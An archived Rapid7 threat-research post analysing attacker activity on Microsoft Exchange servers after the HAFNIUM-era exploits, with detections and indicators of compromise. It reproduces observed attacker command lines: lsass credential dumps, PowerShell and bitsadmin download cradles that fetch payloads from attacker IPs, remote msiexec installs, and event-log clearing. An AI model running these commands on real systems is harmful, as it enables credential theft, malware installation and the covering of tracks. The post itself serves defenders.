Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange

By Eoin Miller

Published: 2021-03-23 · Archived: 2026-04-06 01:13:28 UTC

In recent weeks, there has been quite a lot of reporting on the exploitation of the latest disclosed vulnerabilities in Microsoft's Exchange Server by an attacker referred to as HAFNIUM. One of the major reasons these latest vulnerabilities are so dangerous and appealing to attackers is that they allow them to go directly from the public internet to executing processes as SYSTEM, the most privileged user, on the victim's system.

"Running as a low-privileged account is a good security practice because then a software bug can't be used by a malicious user to take over the whole system."
Source: Application Pool Identities

Because this service runs with the highest level of permission by default, it should be hardened and receive additional levels of monitoring. This default configuration does not employ the principle of least privilege and is made even more dangerous as these web applications are created with the intent to be exposed to the public internet and not protected by other basic means like network access control lists. In addition to that, these vulnerable servers provide direct access to a great number of user hashes/passwords and email inbox contents of the entire organization. This is one of the most direct routes to what certain attackers are commonly after in a victim's environment.

While the reporting on the number of exploited systems has raised alarms for some, events of this scale have been observed by many in the information security industry for many years. Attackers of many types are more frequently looking to exploit the network services provided by victims to the public internet. Often, these services are on various edge devices designed specifically to be placed and exposed to the public internet. This can lead to challenges, as these devices may be appliances, firewalls, or other devices that do not support running additional security-related software, such as endpoint detection and response. These devices also commonly fall outside of standard patch management systems. Rapid7 has observed an increased speed between when a vulnerability is disclosed, to the creation and adoption of a working exploit being used en masse, which gives victims little time to test and deploy fixes while adhering to change control process for systems providing mission-critical services.

Over the past few years, Rapid7 has observed several different attackers looking to quickly and directly gain access to victim systems in order to collect passwords, perform cryptojacking, distribute ransomware, and/or exfiltrate data. The attackers will typically target email boxes of specific high-ranking members of organizations or employees researching topics sensitive to their interests. The simplest method these attackers use to gain a foothold are simple password spraying attacks against systems that are providing remote access services to the public internet via Remote Desktop Protocol. More advanced attackers have taken advantage of recent vulnerabilities in Citrix Netscaler, Progress' Telerik, and Pulse Secure's Pulse Connect Secure, to name a few.

While the method of gaining a foothold in a victim's network can vary from these types of attacks on internet-accessible services to spear phishing, the way an attacker moves and acts can remain unchanged for many years. The reason for this is the methods used once inside a victim's systems rarely need to be changed, as they continue to be very effective for the attacker. The continued adoption of "living off the land" techniques that use pre-existing utilities that come with the operating systems make antivirus or application control less likely to catch and thwart an attacker. Additionally, for the attackers, this frees up or reduces the need for technical resources to develop exploits and tool sets.

Because the way an attacker moves and acts can remain unchanged for so long, Rapid7's Threat Intelligence and Detection Engineering (TIDE) team continuously collaborates with our Managed Detection and Response Security Operations Center and Incident Response teams to develop and update our detections in InsightIDR's Attacker Behavior Analytics to ensure all customers have coverage for the latest tactics, techniques, and procedures employed by attackers. This allows our customers to receive alerting to attacker behavior regardless of exploitation of unknown vulnerabilities and allows them to securely advance.

Last, it is extremely important to not immediately assume that only a single actor is exploiting these new vulnerabilities. Multiple groups or individuals may be exploiting the same vulnerabilities simultaneously, or even a single group may do it and have various different types of follow-on activity. Without conclusive proof, proclaiming they are related is speculative, at best.

Through the use of our existing detections, Rapid7 observed attacker behavior using a China Chopper web shell against nine distinct victims across various industry verticals such as manufacturing, healthcare, utility providers, and more. This attacker behavior shares significant overlap with the actor known as HAFNIUM and was observed in data collected by Rapid7's Insight Agent from Feb. 27 through March 7 in 2021. It should be noted that the way the client used by the attacker to spawn processes through the China Chopper webshell has remained virtually unchanged since at least 2013. These command line arguments are quite distinct and easy to find in logs containing command line arguments. This means detections developed against these patterns have the potential for an effective lifespan for the better part of a decade.

Base64-decoded parameters z1 and z2:

```
z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]
```

Rapid7 developed additional detections based on the review of this attacker behavior. We noticed that by default, IIS when configured for Microsoft Exchange's Outlook Web Access, it will have an environment variable and value set to the following:

APP_POOL_ID=MSExchangeOWAAppPool

With this knowledge, the collection of this data through Insight Agent, and the ability to evaluate it with InsightIDR's Attacker Behavior Analytics, the TIDE team was able to write a detection that would match anytime any process was executed where the child or parent environment variable and value matched this. This allowed us to not only find the already known use of China Chopper, but also several other attackers exploiting this vulnerability using different techniques.

Using China Chopper, the attacker executed the Microsoft Sysinternals utility procdump64.exe against the lsass.exe process to copy the contents of its memory to a file on disk. This allows the attacker to retrieve and analyze this memory dump later with utilities such as mimikatz to extract passwords from the memory dump of this process. This enables this attacker to potentially come back to many of these victim email accounts at a later date if two-factor authentication is not employed. Additionally, even if reasonable password change policies are implemented at these victim locations, users will often rotate passwords in a predictable manner. For instance, if a password for a user is “ThisIsMyPassword1!”, when forced to change, they will likely just increment the digit at the end to “ThisIsMyPassword2!”. This makes it easy for attackers to guess the future passwords based on the predictability of human behavior.

The following commands were observed by Rapid7 being executed by the attacker known as HAFNIUM:

Procudmp.exe commands executed via China Chopper webshell to write the memory contents of the lsass.exe process to disk:

```
 cmd /c cd /d C:\\root&procdump64.exe -accepteula -ma lsass.exe lsass.dmp&echo [S]&cd&echo [E]
cmd /c cd /d E:\\logs&procdump64.exe -accepteula -ma lsass.exe lsass.dmp&echo [S]&cd&echo [E]
```

Reconnaissance commands executed via China Chopper webshell to gather information about the Active Directory domain controllers, users, systems, and processes:

```
 cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&HOSTNAME" & n
cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&nltest" /dclist
cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&HOSTNAME" & who
cmd /c cd /d c:\\temp&tasklist&echo [S]&cd&echo [E]
cmd /c cd /d E:\\logs&tasklist &echo [S]&cd&echo [E]
cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&net group "Domain computers" /do&echo [S]&cd&echo [E]
cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&tasklist /v&echo [S]&cd&echo [E]
```

Enumeration of further information about specific processes on the victim system. The process smex_master.exe is from Trend Micro’s ScanMail and unsecapp.exe is from Microsoft Windows.

```
 cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&wmic process where name=smex_master.exe get Executable
cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&wmic process where name=unsecapp.exe get ExecutablePath
cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&wmic process where name=unsecapp.exe get processid&echo
```

Deletion of groups in Active Directory using the net.exe command executed via China Chopper:

```
cmd /c cd /d C:\\inetpub\\wwwroot\\aspnet_client\\system_web&net group "Exchange Organization administrators" a
```

Network connectivity check and/or egress IP address enumeration commands executed via China Chopper webshell:

```
 cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&ping" -n 1 <RE
cmd /c cd /d "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth&ping" -n 1 <REE
cmd /c cd /d C:\inetpub\wwwroot&ping -n 1 8.8.8.8&echo [S]&cd&echo [E]
cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&c:\windows\temp\curl.exe -m 10 ipinfo.io&echo [S]&cd&ec
cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&c:\windows\temp\curl.exe -vv -k -m 10 https://www.googl
cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&ping -n 1 ipinfo.io&echo [S]&cd&echo [E]
cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&ping -n 1 www.google.com&echo [S]&cd&echo [E]
cmd /c cd /d c:\\temp&ping www.google.com&echo [S]&cd&echo [E]
```

Second-stage payload retrieval commands executed via China Chopper webshell:

```
cmd /c cd /d C:\\inetpub\\wwwroot\\aspnet_client&msiexec /q /i http://103.212.223.210:9900/nvidia.msi&echo [S]&
```

Filesystem interaction commands executed via China Chopper webshell to search file contents, hide, and delete files:

```
 \cmd /c cd /d C:\inetpub\wwwroot\aspnet_client\system_web&findstr Request "\\<REDACTED_HOSTNAME>\C$\Program Fi
cmd /c cd /d C:/inetpub/wwwroot/aspnet_client&attrib +h +s +r OutlookEN.aspx&echo [S]
cmd /c cd /d C:/inetpub/wwwroot/aspnet_client&attrib +h +s +r TimeoutLogout.aspx&echo [S]
cmd /c cd /d C:/inetpub/wwwroot/aspnet_client&del 'E:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpP
cmd /c cd /d C:/inetpub/wwwroot/aspnet_client&del 'E:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpP
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access
- Attacker Technique - Net Command Deleting Exchange Admin Group
- Attacker Tool - China Chopper Webshell Executing Commands
- Attacker Technique - ProcDump Used Against LSASS

- T1003 - OS Credential Dumping
- T1003.001 - OS Credential Dumping: LSASS Memory
- T1005 - Data from Local System
- T1007 - System Service Discovery
- T1033 - System Owner/User Discovery
- T1041 - Exfiltration Over C2 Channel
- T1047 - Windows Management Instrumentation
- T1057 - Process Discovery
- T1059 - Command and Scripting Interpreter
- T1059.003 - Command and Scripting Interpreter: Windows Command Shell
- T1071 - Application Layer Protocol
- T1071.001 - Application Layer Protocol: Web Protocols
- T1074 - Data Staged
- T1074.001 - Data Staged: Local Data Staging

- T1083 - File and Directory Discovery
- T1087 - Account Discovery
- T1087.001 - Account Discovery: Local Account
- T1087.002 - Account Discovery: Domain Account
- T1098 - Account Manipulation
- T1105 - Ingress Tool Transfer
- T1190 - Exploit Public-Facing Application
- T1203 - Exploitation For Client Execution
- T1218 - Signed Binary Proxy Execution
- T1218.007 - Signed Binary Proxy Execution: Msiexec
- T1505 - Server Software Component
- T1505.003 - Server Software Component: Web Shell
- T1518 - Software Discovery
- T1518.001 - Software Discovery: Security Software Discovery
- T1531 - Account Access Removal
- T1583 - Acquire Infrastructure
- T1583.003 - Acquire Infrastructure: Virtual Private Server
- T1587 - Develop Capabilities
- T1587.001 - Develop Capabilities: Malware
- T1587.004 - Develop Capabilities: Exploits
- T1588 - Obtain Capabilities
- T1588.001 - Obtain Capabilities: Malware
- T1588.002 - Obtain Capabilities: Tool
- T1588.005 - Obtain Capabilities: Exploits
- T1588.006 - Obtain Capabilities: Vulnerabilities
- T1595 - Active Scanning
- T1595.001 - Active Scanning: Scanning IP Blocks
- T1595.002 - Active Scanning: Vulnerability Scanning

Rapid7 has also observed several additional distinct types of post-exploitation activity of these Exchange vulnerabilities in recent weeks by several other attackers other than HAFNIUM. We have grouped these and distilled the unique type of commands being executed into the individual sections shown below.

Minidump and Makecab attacker

This attacker was seen uploading batch scripts to execute the Microsoft utility dsquery.exe to enumerate all users from the Active Directory domain. The attacker would also use the Minidump function in comsvcs.dll with rundll32.exe in order to write the memory of the lsass.exe process to disk. The attacker then uses the existing Microsoft utility makecab.exe to compress the memory dump for more efficient retrieval. Overall, this attacker has some similarities in the data targeted for collection from victims to those discussed in others reporting on the actor known as HAFNIUM. However, the tools and techniques used differ enough that this cannot easily be attributed to the same attacker without additional compelling links.

```
 C:\Windows\System32\cmd.exe /c c:\inetpub\wwwroot\aspnet_client\test.bat
C:\Windows\System32\cmd.exe /c c:\inetpub\wwwroot\aspnet_client\test.bat
dsquery * -limit 0 -filter objectCategory=person -attr * -uco
powershell rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 900 c:\inetpub\wwwroot\aspnet_client\<REDACTED_
makecab c:\inetpub\wwwroot\aspnet_client\<REDACTED_33_CHARACTER_STRING>.tmp.dmp c:\inetpub\wwwroot\aspnet_client
makecab c:\inetpub\wwwroot\aspnet_client\<REDACTED_33_CHARACTER_STRING>.tmp c:\inetpub\wwwroot\aspnet_client\<RE
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access
- Attacker Technique - Minidump via COM Services DLL

Malicious DLL attacker

This attacker was seen uploading and executing a DLL through rundll32.exe and redirecting the output to a text file. The demo.dll file is believed to have similar functionality to mimikatz or other hash/password dumping utilities. The attacker also made use of the net, netstat, and tasklist utilities, along with klist, in order to display cached Kerberos tickets. This again has some overlap with the types of data being collected by HAFNIUM, but the methods to do so differ. Additionally, this is a commonly employed action for an attacker to take post-compromise.

```
 c:\windows\system32\cmd.exe /c tasklist
tasklist
c:\windows\system32\cmd.exe /c net time /do
net time /do
c:\windows\system32\cmd.exe /c rundll32 c:\programdata\demo.dll,run -lm > c:\programdata\1.txt
rundll32 c:\programdata\demo.dll,run -lm > c:\programdata\1.txt
c:\windows\system32\cmd.exe /c klist
c:\windows\system32\cmd.exe /c tasklist
tasklist
c:\windows\system32\cmd.exe /c netstat -ano
netstat -ano
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access

Opera Browser and Cobalt Strike attacker

This attacker was seen using common techniques to download scripts with Microsoft's BITSAdmin. These scripts would then execute encoded PowerShell commands that would retrieve a legitimate version of the Opera Browser that has a known DLL search order vulnerability (CVE-2018-18913). The attacker would also retrieve malicious DLLs and other files to place into the same directory as the legitimate opera_browser.exe file for execution. This would then load the malicious code in the DLL located in the same directory as the browser. The eventual end of

this execution would result in the execution of Cobalt Strike, a favorite tool of attackers that distributes ransomware:

```
 C:\Windows\System32\bitsadmin.exe /rawreturn /transfer getfile http://89.34.111.11/3.avi c:\Users\public\2.bat
C:\Windows\System32\cmd.exe /c c:\Users\public\2.bat
powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8A
powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8A
powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8A
msiexec.exe -k
powershell Start-Sleep -Seconds 10
cmd /c C:\\users\\public\\opera\\opera_browser.exe
C:\\users\\public\\opera\\opera_browser.exe
powershell -enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8A
```

Base64 decoded strings passed to PowerShell:

```
 (new-object System.Net.WebClient).DownloadFile('http://86.105.18.116/news/code','C:\users\public\opera\code')
(new-object System.Net.WebClient).DownloadFile('http://86.105.18.116/news/opera_browser.png','C:\users\public\op
(new-object System.Net.WebClient).DownloadFile('http://86.105.18.116/news/opera_browser.dll','C:\users\public\op
(new-object System.Net.WebClient).DownloadFile('http://86.105.18.116/news/opera_browser.exe','C:\users\public\op
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access
- Attacker Technique - Download And Execute With Background Intelligent Transfer Service
- Attacker Technique - URL Passed To BitsAdmin

Six-character webshell attacker

This attacker was seen uploading webshells and copying them to other locations within the webroot.

```
cmd /c copy C:\inetpub\wwwroot\aspnet_client\discover.aspx "C:\Program Files\Microsoft\Exchange Server\V15\Fro
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access

Encoded PowerShell download cradle attacker

This attacker was seen executing encoded PowerShell commands that would download malware from a remote location. The would also execute the getmac.exe utility to enumerate information about the network adapters.

```
 cmd.exe /c powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbg
C:\Windows\system32\getmac.exe /FO CSV
```

Base64 decoded strings passed to PowerShell:

```
IEX (New-Object Net.WebClient).downloadstring('http://p.estonine.com/p?e')
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access
- Attacker Technique - PowerShell Download Cradles

Ten-character webshell attacker

This attacker was seen uploading webshells, using icacls to set the directory permissions of the webroot to be read-only recursively. Additionally, the attacker would use the attrib.exe utility to set the file containing the webshell to be marked as hidden and system to make finding these more difficult.

```
 C:\Windows\System32\cmd.exe /c move "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth
C:\Windows\System32\cmd.exe /c icacls "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\aut
C:\Windows\System32\cmd.exe /c =attrib "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\au
attrib "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\<REDACTED_10_CHARACTER_STRIN
C:\Windows\System32\cmd.exe /c icacls "c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\aut
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access
- Attacker Technique - Modification Of Files In Exchange Webroot

7zip and NetSupport Manager attacker

This attacker used the 7zip compression utility (renamed to MonitoringLog.exe) and the NetSupport Manager remote access tool (client32.exe). These utilities were most likely retrieved by the script1.ps1 PowerShell script and located within a password-protected archive named Service.Information.rtf. Once extracted, these utilities were executed:

```
 c:\windows\system32\cmd.exe dir C:\Programdata\
c:\windows\system32\cmd.exe /c powershell C:\Programdata\script1.ps1
powershell C:\Programdata\script1.ps1
C:\ProgramData\MonitoringLog.exe x -p<REDACTED_STRING> -y C:\ProgramData\Service.Information.rtf -oC:\ProgramDat
ping -n 10 127.0.0.1
c:\windows\system32\cmd.exe /c C:\Programdata\MonitoringLog.cmd
taskkill /Im rundll32.exe /F
C:\ProgramData\NetConnections\client32.exe
ping -n 10 127.0.0.1
taskkill /Im rundll32.exe /F
c:\windows\system32\cmd.exe /c tasklist /v
tasklist /v
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access

Event log deletion and virtual directory creation attacker

This attacker created virtual directories within the existing webroot using the Microsoft utility appcmd.exe, and then cleared all event logs on the system using wevtutl.exe:

```
 CMD C:\Windows\System32\inetsrv\appcmd.exe add vdir "/app.name:Default Web Site/" "/path:/owa/auth/ /zfwqn" /ph

CMD /c for /f %x in ('wevtutil el') do wevtutil cl %x
wevtutil el
wevtutil cl <REDACTED_ALL_DIFFERENT_EVENT_LOGS>
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access
- Attacker Technique - Clearing Event Logs With WEvtUtil

Webshell enumeration attacker

This attacker was seen executing encoded PowerShell commands to use the type command to view the contents possible webshell files named outlooken.aspx seen used by HAFNIUM and other attackers. This could be someone looking to use the footholds placed by other attackers or even researchers using the same exploit to identify systems that have been successfully compromised based on the reported activity associated with HAFNIUM:

```
 cmd /c powershell -enc YwBtAGQALgBlAHgAZQAgAC8AYwAgACIAdAB5AHAAZQAgACIAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwA
cmd /c powershell -enc dAB5AHAAZQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAR
```

Base64 decoded strings:

```
 type "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\outlooken.aspx"
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access

Coinminer dropper attacker

Some attackers were seen using PowerShell to retrieve and execute coinminers.

```
 cmd.exe /c powershell.exe Invoke-WebRequest http://microsoftsoftwaredownload.com:8080/m103w.zip -OutFile C:\win
powershell.exe Invoke-WebRequest http://microsoftsoftwaredownload.com:8080/m103w.zip -OutFile C:\windows\temp\ds
```

```
C:\windows\temp\dsf.exe RS9+cn_0
```

And again with a slightly different filename to retrieved from:

```
 cmd.exe /c powershell.exe Invoke-WebRequest http://microsoftsoftwaredownload.com:8080/c103w-at.zip -OutFile C:\
powershell.exe Invoke-WebRequest http://microsoftsoftwaredownload.com:8080/c103w-at.zip
C:\windows\temp\dsf.exe RS9+cn_0
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access

Simple reconnaissance attacker(s)

Some attackers were seen performing extremely simple reconnaissance commands to gather more information about the host, processes, users, and systems within Active Directory:

```
 net group /domain
net group "Domain Computers" /do
net group "Domain Users"  /do
net group IntranetAdmins /do
net user /domain
systeminfo
tasklist
```

Another example where only simple recon type commands were executed:

```
 whoami
systeminfo
systeminfo
wmic product get name
Wmic product get name
```

InsightIDR Attacker Behavior Analytics that detect this attacker's activity:

- Suspicious Process - Process Spawned By Outlook Web Access

Conclusions

While there was widespread exploitation of these vulnerabilities in the wild, it does appear that this was the work of several different attackers with different motivations and skills. Rapid7 did even observe exploitation of the same victim by multiple different actors (HAFNIUM and coinminer drops) within a two-week timeframe. Several attackers used this vulnerability to gather passwords/hashes from victim systems en masse. This enabled them to

gather data from several victims that would allow them access into various Active Directory services as long as those credentials gathered remain unchanged.

This dumping of credentials may have been done at this scale as the attackers were aware this activity would be discovered and the vulnerability would be patched very soon. This would potentially allow these attackers to continue to access these accounts even after the systems had been successfully patched. The level of escalation in use by HAFNIUM subsequent use by several other actors may point to the same exploit being shared or leaked. **At the time of this writing, Rapid7 has no definitive evidence of this and acknowledges that this statement is speculative.**

By continuing to analyze the behavior of attackers post-compromise to develop detections, it can greatly increase the likelihood to be notified of a breach. This is regardless of the method used to obtain the initial access to the victim environment. Additionally, these detections have longer lifespans and can be made available in a more timely manner than most indicators of compromise are shared in other types of public reporting.

Observed CVEs employed by attackers:

Common Vulnerabilities and Exposure	Description
CVE-2018-18913	Opera Search Order Hijacking Vulnerability https://blog.lucideus.com/2019/02/opera-search-order-hijacking-cve-2018-18913.html
CVE-2021-26855	Microsoft Exchange Server remote code execution https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
CVE-2021-26857	Microsoft Exchange Server remote code execution https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26857
CVE-2021-26858	Microsoft Exchange Server remote code execution https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26858
CVE-2021-27065	Microsoft Exchange Server remote code execution https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-27065

Observed IOCs employed by all attackers:

Type	Value
FQDN	estonine.com
FQDN	p.estonine.com

Type	Value
FQDN	ipinfo.io
Filepath	C:\inetpub\wwwroot\aspnet_client\
Filepath	C:\inetpub\wwwroot\aspnet_client\system_web\
Filepath	C:\Program Files\Microsoft\Exchange Server\V15\Bin\
Filepath	c:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\
Filepath	C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\
Filepath	C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources\
Filepath	C:\Programdata\
Filepath	C:\ProgramData\COM\zfwqn\
Filepath	C:\root\
Filepath	C:\Users\Public\
Filepath	C:\Users\Public\Opera\
Filepath	C:\Windows\temp\
Filename	1.txt
Filename	2.bat
Filename	3.avi
Filename	b.log
Filename	c103w-at.zip
Filename	client32.exe
Filename	code
Filename	curl.exe
Filename	demo.dll
Filename	discover.aspx
Filename	dsf.exe
Filename	error.aspx

Type	Value
Filename	ErrorFF.aspx
Filename	exshell.psc1
Filename	Flogon.aspx
Filename	lsass.dump
Filename	m103w.zip
Filename	nvidia.msi
Filename	opera_browser.dll
Filename	opera_browser.exe
Filename	opera_browser.png
Filename	OutlookEN.aspx
Filename	MonitoringLog.cmd
Filename	MonitoringLog.exe
Filename	p
Filename	procdump64.exe
Filename	Service.Information.rtf
Filename	TimeoutLogout.aspx
Filename	2.bat
Filename	script1.ps1
Filename	test.bat
IP Address	178.162.217.107
IP Address	178.162.203.202
IP Address	178.162.203.226
IP Address	85.17.31.122

Type	Value
IP Address	5.79.71.205
IP Address	5.79.71.225
IP Address	178.162.203.211
IP Address	85.17.31.82
IP Address	86.105.18.116
IP Address	198.98.61.152
IP Address	89.34.111.11
MD5	7a6c605af4b85954f62f35d648d532bf
MD5	e1ae154461096adb5ec602faad42b72e
MD5	b3df7f5a9e36f01d0eb0043b698a6c06
MD5	c60ac6a6e6e582ab0ecb1fdbd607705b
MD5	42badc1d2f03a8b1e4875740d3d49336
MD5	c515107d75563890020e915f54f3e036
SHA1	02886f9daa13f7d9855855048c54f1d6b1231b0a
SHA1	c7f68a184df65e72c59403fb135924334f8c0ebd
SHA1	ab32d4ec424b7cd30c7ace1dad859df1a65aa50e
SHA1	ba9de479beb82fd97bbdfbc04ef22e08224724ba
SHA1	cee178da1fb05f99af7a3547093122893bd1eb46
SHA1	2fed891610b9a770e396ced4ef3b0b6c55177305
SHA-256	b212655aeb4700f247070ba5ca6d9c742793f108881d07e4d1cdc4ede175fcff
SHA-256	d740136b37f894d76a7d4dedbe1ae51ed680c964bcb61e7c4ffe7d0e8b20ea09

Type	Value
SHA-256	bd79027605c0856e7252ed84f1b4f934863b400081c449f9711446ed0bb969e6
SHA-256	4d24b359176389301c14a92607b5c26b8490c41e7e3a2abbc87510d1376f4a87
SHA-256	c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf
SHA-256	076d3ec587fc14d1ff76d4ca792274d1e684e0f09018b33da04fb1d5947a7d26
URL	http://103.212.223.210:9900/nvidia.msi
URL	http://86.105.18.116/news/code
URL	http://86.105.18.116/news/opera_browser.dll
URL	http://86.105.18.116/news/opera_browser.exe
URL	http://86.105.18.116/news/opera_browser.png
URL	http://89.34.111.11/3.avi
URL	http://microsoftsoftwaredownload.com:8080/c103w-at.zip
URL	http://microsoftsoftwaredownload.com:8080/m103w.zip
URL	http://p.estonine.com/p?e
URL	http://<REDACTED_HOSTNAME>/owa/auth/ /zfwqn
URL	http://<REDACTED_HOSTNAME>/owa/auth/%20/zfwqn

References:

- https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/
- https://aka.ms/ExchangeVulns
- https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/
- https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
- https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html
- https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf

---